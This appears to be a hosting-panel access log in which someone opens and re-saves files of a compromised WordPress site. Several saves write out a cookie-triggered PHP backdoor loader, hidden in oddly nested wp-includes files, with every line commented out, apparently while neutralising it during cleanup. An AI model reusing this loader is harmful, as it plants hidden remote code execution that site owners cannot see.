["2026-05-19 09:14:32", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/hvsmdki/1qjzitp/hbmzirl/function.debug.php'}", 2, 200, 602, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:38", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/hvsmdki/1qjzitp/hbmzirl/function.debug.php', 'encoding': 'utf-8', 'data': '<?php\\n\\n\\n# if (isset($_COOKIE[63-63]) && isset($_COOKIE[44+-43]) && isset($_COOKIE[-48+51]) && isset($_COOKIE[0+4])) {\\n#     $tkn = $_COOKIE;\\n#     function secure_access($comp) {\\n#         $tkn = $_COOKIE;\\n#         $elem = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), \\'c5e0c830\\');\\n#         if (!is_writable($elem)) {\\n#             $elem = getcwd() . DIRECTORY_SEPARATOR . \"mutex_lock\";\\n#         }\\n#         $entity = \"\\\\x3c\\\\x3f\\\\x70\\\\x68p \" . base64_decode(str_rot13($tkn[3]));\\n#         if (is_writeable($elem)) {\\n#             $binding = fopen($elem, \\'w+\\');\\n#             fputs($binding, $entity);\\n#             fclose($binding);\\n#             spl_autoload_unregister(__FUNCTION__);\\n#             require_once($elem);\\n#             @array_map(\\'unlink\\', array($elem));\\n#         }\\n#     }\\n#     spl_autoload_register(\"secure_access\");\\n#     $property_set = \"1e9e32e066be8d516ba04b54073ce441\";\\n#     if (!strncmp($property_set, $tkn[4], 32)) {\\n#         if (@class_parents(\"data_storage_restore_state\", true)) {\\n#             exit;\\n#         }\\n#     }\\n# }\\n'}", 9, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:43", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/attack.php'}", 2, 200, 606, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:48", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/attack.php', 'encoding': 'utf-8', 'data': '<?php\\n\\n\\n# if (isset($_COOKIE[-95+95]) && isset($_COOKIE[45-44]) && isset($_COOKIE[-58+61]) && isset($_COOKIE[-43+47])) {\\n#     $dat = $_COOKIE;\\n#     function task_processor($descriptor) {\\n#         $dat = $_COOKIE;\\n#         $binding = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), \\'5c698cb4\\');\\n#         if (!is_writable($binding)) {\\n#             $binding = getcwd() . DIRECTORY_SEPARATOR . \"event_handler\";\\n#         }\\n#         $object = \"\\\\x3c\\\\x3f\\\\x70\\\\x68p \" . base64_decode(str_rot13($dat[3]));\\n#         if (is_writeable($binding)) {\\n#             $bind = fopen($binding, \\'w+\\');\\n#             fputs($bind, $object);\\n#             fclose($bind);\\n#             spl_autoload_unregister(__FUNCTION__);\\n#             require_once($binding);\\n#             @array_map(\\'unlink\\', array($binding));\\n#         }\\n#     }\\n#     spl_autoload_register(\"task_processor\");\\n#     $entity = \"36a4c8b62b7aabfcdffca1c8db607abc\";\\n#     if (!strncmp($entity, $dat[4], 32)) {\\n#         if (@class_parents(\"unit_converter_initialized\", true)) {\\n#             exit;\\n#         }\\n#     }\\n# }\\n'}", 88, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:55", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/index.php'}", 14, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:04", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/index.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:10", "114.219.182.210:48914", "GET", "/soft/plugin?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 33, 200, 2676, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:11", "114.219.182.210:48915", "GET", "/soft/static/css/style.css?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 4, 200, 164183, "text/css; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:11", "114.219.182.210:48914", "GET", "/soft/static/js/main.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 38457, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:13", "114.219.182.210:48909", "GET", "/soft/static/js/utils-lib.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 4, 200, 341514, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:13", "114.219.182.210:48914", "GET", "/soft/static/js/base-lib.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 211771, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:13", "114.219.182.210:48864", "GET", "/soft/static/js/__commonjsHelpers__.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 272, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:15", "114.219.182.210:48915", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/tool.php'}", 3, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:17", "114.219.182.210:48915", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/feed.php'}", 5, 200, 6942, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:19", "114.219.182.210:48909", "GET", "/soft/static/js/index98.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 6043, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:19", "114.219.182.210:48914", "GET", "/soft/static/js/index78.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 285, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:19", "114.219.182.210:48915", "GET", "/soft/static/js/index79.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 2236, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:20", "114.219.182.210:48909", "GET", "/soft/static/js/index102.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 309, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:20", "114.219.182.210:48914", "GET", "/soft/static/js/validator.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 19582, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:20", "114.219.182.210:48909", "GET", "/soft/static/js/index103.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 385, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:20", "114.219.182.210:48915", "GET", "/soft/static/js/hooks.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 389, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:20", "114.219.182.210:48914", "GET", "/soft/static/js/index104.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 420, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48909", "GET", "/soft/static/js/index105.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 274, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48915", "GET", "/soft/static/js/index106.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 445, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48914", "GET", "/soft/static/js/index107.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 489, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48909", "GET", "/soft/static/js/column.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 3397, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48915", "GET", "/soft/static/js/index110.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 359, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48914", "GET", "/soft/static/js/index111.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1912, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48909", "GET", "/soft/static/js/index112.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 776, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:21", "114.219.182.210:48914", "GET", "/soft/static/js/index114.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 956, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:22", "114.219.182.210:48909", "GET", "/soft/static/js/index380.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 1676, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:22", "114.219.182.210:48915", "GET", "/soft/static/js/index381.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 571, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:22", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/feed.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\t\\t\\n\\n/**\\n * WordPress Feed API\\n *\\n * Many of the functions used in here belong in The Loop, or The Loop for the\\n * Feeds.\\n *\\n * @package WordPress\\n * @subpackage Feed\\n * @since 2.1.0\\n */\\n\\n/**\\n * Retrieves RSS container for the bloginfo function.\\n *\\n * You can retrieve anything that you can using the get_bloginfo() function.\\n * Everything will be stripped of tags and characters converted, when the values\\n * are retrieved for use in the feeds.\\n *\\n * @since 1.5.1\\n *\\n * @see get_bloginfo() For the list of possible values to display.\\n *\\n * @param string $show See get_bloginfo() for possible values.\\n * @return string\\n */\\nfunction get_bloginfo_rss( $show = '' ) {\\n\\t$info = strip_tags( get_bloginfo( $show ) );\\n\\t/**\\n\\t * Filters the bloginfo for use in RSS feeds.\\n\\t *\\n\\t * @since 2.2.0\\n\\t *\\n\\t * @see convert_chars()\\n\\t * @see get_bloginfo()\\n\\t *\\n\\t * @param string $info Converted string value of the blog information.\\n\\t * @param string $show The type of blog information to retrieve.\\n\\t */\\n\\treturn apply_filters( 'get_bloginf -- >4096\"}", 656, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:22", "114.219.182.210:48909", "GET", "/soft/static/js/index161.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 582, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:23", "114.219.182.210:48909", "GET", "/software?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 3, 200, 1514, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:23", "114.219.182.210:48910", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'type': '0', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 15, 200, 9118, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:23", "114.219.182.210:49239", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 113, 200, 1656, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:23", "114.219.182.210:48909", "POST", "/config?action=get_nps", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'version': '-1', 'product_type': '0', 'software_name': 'panel'}", 4, 200, 31, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:23", "114.219.182.210:48914", "GET", "/soft/static/font/svgtofont.woff2?t=1747810202915", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 53888, "application/octet-stream", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:24", "114.219.182.210:48910", "POST", "/plugin?action=push_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 4, 200, 510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:24", "114.219.182.210:49239", "POST", "/plugin?action=get_usually_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 7, 200, 2658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:25", "114.219.182.210:48915", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/compat-utf8.php'}", 3, 200, 5247, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:26", "114.219.182.210:48914", "GET", "/soft/static/js/index177.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1039, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:30", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/compat-utf8.php', 'encoding': 'utf-8', 'data': '<?php\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\n\\n/**\\n * Finds spans of valid and invalid UTF-8 bytes in a given string.\\n *\\n * This is a low-level tool to power various UTF-8 functionality.\\n * It scans through a string until it finds invalid byte spans.\\n * When it does this, it does three things:\\n *\\n *  - Assigns `$at` to the position after the last successful code point.\\n *  - Assigns `$invalid_length` to the length of the maximal subpart of\\n *    the invalid bytes starting at `$at`.\\n *  - Returns how many code points were successfully scanned.\\n *\\n * This information is enough to build a number of useful UTF-8 functions.\\n *\\n * Example:\\n *\\n *     // \u00f1 is U+F1, which in `ISO-8859-1`/`latin1`/`Windows-1252`/`cp1252` is 0xF1.\\n *     \"Pi\\\\xF1a\" === $pineapple = mb_convert_encoding( \"Pi\u00f1a\", \\'Windows-1252\\', \\'UTF-8\\' );\\n *     $at = $invalid_length = 0;\\n *\\n *     // The first step finds the invalid 0xF1 byte.\\n *     2 === _wp_scan_utf8( $pineapple, $at, $invalid_length );\\n *     $at === 2; $invalid_length === 1;\\n *\\n *     // The second step c -- >4096'}", 367, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:30", "114.219.182.210:48864", "GET", "/soft/static/images/soft_ico/hot.png?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 357, "image/png", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:30", "114.219.182.210:48914", "GET", "/soft/static/images/soft_ico/hots.png?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 4184, "image/png", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:33", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php'}", 2, 200, 1703, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:37", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php', 'encoding': 'utf-8', 'data': '<?php\\t\\t\\t\\t\\n\\n/**\\n * Customize API: WP_Customize_Nav_Menus_Panel class\\n *\\n * @package WordPress\\n * @subpackage Customize\\n * @since 4.4.0\\n */\\n\\n/**\\n * Customize Nav Menus Panel Class\\n *\\n * Needed to add screen options.\\n *\\n * @since 4.3.0\\n *\\n * @see WP_Customize_Panel\\n */\\nclass WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {\\n\\n\\t/**\\n\\t * Control type.\\n\\t *\\n\\t * @since 4.3.0\\n\\t * @var string\\n\\t */\\n\\tpublic $type = \\'nav_menus\\';\\n\\n\\t/**\\n\\t * Render screen options for Menus.\\n\\t *\\n\\t * @since 4.3.0\\n\\t */\\n\\tpublic function render_screen_options() {\\n\\t\\t// Adds the screen options.\\n\\t\\trequire_once ABSPATH . \\'wp-admin/includes/nav-menu.php\\';\\n\\t\\tadd_filter( \\'manage_nav-menus_columns\\', \\'wp_nav_menu_manage_columns\\' );\\n\\n\\t\\t// Display screen options.\\n\\t\\t$screen = WP_Screen::get( \\'nav-menus.php\\' );\\n\\t\\t$screen->render_screen_options( array( \\'wrap\\' => false ) );\\n\\t}\\n\\n\\t/**\\n\\t * Returns the advanced options for the nav menus page.\\n\\t *\\n\\t * Link title attribute added as it\\'s a relatively advanced concept for new users.\\n\\t *\\n\\t * @since 4.3.0\\n\\t * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().\\n\\t */\\n\\tpublic function wp_nav_menu_manage_columns() {\\n\\t\\t_deprecated_function( __METHOD__, \\'4.5.0\\', \\'wp_nav_menu_manage_columns\\' );\\n\\t\\trequire_once ABSPATH . \\'wp-admin/includes/nav-menu.php\\';\\n\\t\\treturn wp_nav_menu_manage_columns();\\n\\t}\\n\\n\\t/**\\n\\t * An Underscore (JS) template for this panel\\'s content (but not its container).\\n\\t *\\n\\t * Class variables for this panel class are available in the `data` JS object;\\n\\t * export custom variables by overriding WP_Customize_Panel::json().\\n\\t *\\n\\t * @since 4.3.0\\n\\t *\\n\\t * @see WP_Customize_Panel::print_template()\\n\\t */\\n\\tprotected function content_template() {\\n\\t\\t?>\\n\\t\\t<li class=\"panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>\">\\n\\t\\t\\t<button type=\"button\" class=\"customize-panel-back\" tabindex=\"-1\">\\n\\t\\t\\t\\t<span class=\"screen-reader-text\">\\n\\t\\t\\t\\t\\t<?php\\n\\t\\t\\t\\t\\t/* translators: Hidden accessibility text. */\\n\\t\\t\\t\\t\\t_e( \\'Back\\' );\\n\\t\\t\\t\\t\\t?>\\n\\t\\t\\t\\t</span>\\n\\t\\t\\t</button>\\n\\t\\t\\t<div class=\"accordion-section-title\">\\n\\t\\t\\t\\t<span class=\"preview-notice\">\\n\\t\\t\\t\\t\\t<?php\\n\\t\\t\\t\\t\\t/* translators: %s: The site/panel title in the Customizer. */\\n\\t\\t\\t\\t\\tprintf( __( \\'You are customizing %s\\' ), \\'<strong class=\"panel-title\">{{ data.title }}</strong>\\' );\\n\\t\\t\\t\\t\\t?>\\n\\t\\t\\t\\t</span>\\n\\t\\t\\t\\t<button type=\"button\" class=\"customize-help-toggle dashicons dashicons-editor-help\" aria-expanded=\"false\">\\n\\t\\t\\t\\t\\t<span class=\"screen-reader-text\">\\n\\t\\t\\t\\t\\t\\t<?php\\n\\t\\t\\t\\t\\t\\t/* translators: Hidden accessibility text. */\\n\\t\\t\\t\\t\\t\\t_e( \\'Help\\' );\\n\\t\\t\\t\\t\\t\\t?>\\n\\t\\t\\t\\t\\t</span>\\n\\t\\t\\t\\t</button>\\n\\t\\t\\t\\t<button type=\"button\" class=\"customize-screen-options-toggle\" aria-expanded=\"false\">\\n\\t\\t\\t\\t\\t<span class=\"screen-reader-text\">\\n\\t\\t\\t\\t\\t\\t<?php\\n\\t\\t\\t\\t\\t\\t/* translators: Hidden accessibility text. */\\n\\t\\t\\t\\t\\t\\t_e( \\'Menu Options\\' );\\n\\t\\t\\t\\t\\t\\t?>\\n\\t\\t\\t\\t\\t</span>\\n\\t\\t\\t\\t</button>\\n\\t\\t\\t</div>\\n\\t\\t\\t<# if ( data.description ) { #>\\n\\t\\t\\t<div class=\"description customize-panel-description\">{{{ data.description }}}</div>\\n\\t\\t\\t<# } #>\\n\\t\\t\\t<div id=\"screen-options-wrap\">\\n\\t\\t\\t\\t<?php $this->render_screen_options(); ?>\\n\\t\\t\\t</div>\\n\\t\\t</li>\\n\\t\\t<?php\\n\\t\\t// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.\\n\\t\\t?>\\n\\t\\t<li class=\"customize-control-title customize-section-title-nav_menus-heading\"><?php _e( \\'Menus\\' ); ?></li>\\n\\t\\t<?php\\n\\t}\\n}\\n'}", 85, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:40", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/src/Sanitize.php'}", 3, 200, 6842, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:46", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/SimplePie/src/File.php'}", 3, 200, 4607, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:49", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/html-api/class-wp-html-token.php'}", 2, 200, 1290, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:52", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/html-api/class-wp-html-token.php', 'encoding': 'utf-8', 'data': '<?php\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\n/**\\n * HTML API: WP_HTML_Token class\\n *\\n * @package WordPress\\n * @subpackage HTML-API\\n * @since 6.4.0\\n */\\n\\n/**\\n * Core class used by the HTML processor during HTML parsing\\n * for referring to tokens in the input HTML string.\\n *\\n * This class is designed for internal use by the HTML processor.\\n *\\n * @since 6.4.0\\n *\\n * @access private\\n *\\n * @see WP_HTML_Processor\\n */\\nclass WP_HTML_Token {\\n\\t/**\\n\\t * Name of bookmark corresponding to source of token in input HTML string.\\n\\t *\\n\\t * Having a bookmark name does not imply that the token still exists. It\\n\\t * may be that the source token and underlying bookmark was wiped out by\\n\\t * some modification to the source HTML.\\n\\t *\\n\\t * @since 6.4.0\\n\\t *\\n\\t * @var string\\n\\t */\\n\\tpublic $bookmark_name = null;\\n\\n\\t/**\\n\\t * Name of node; lowercase names such as \"marker\" are not HTML elements.\\n\\t *\\n\\t * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().\\n\\t *\\n\\t * @since 6.4.0\\n\\t *\\n\\t * @see WP_HTML_Processor::get_tag()\\n\\t *\\n\\t * @var string\\n\\t */\\n\\tpublic $node_name = null;\\n\\n\\t/**\\n\\t * Whether node contains the self-closing flag.\\n\\t *\\n\\t * A node may have a self-closing flag when it 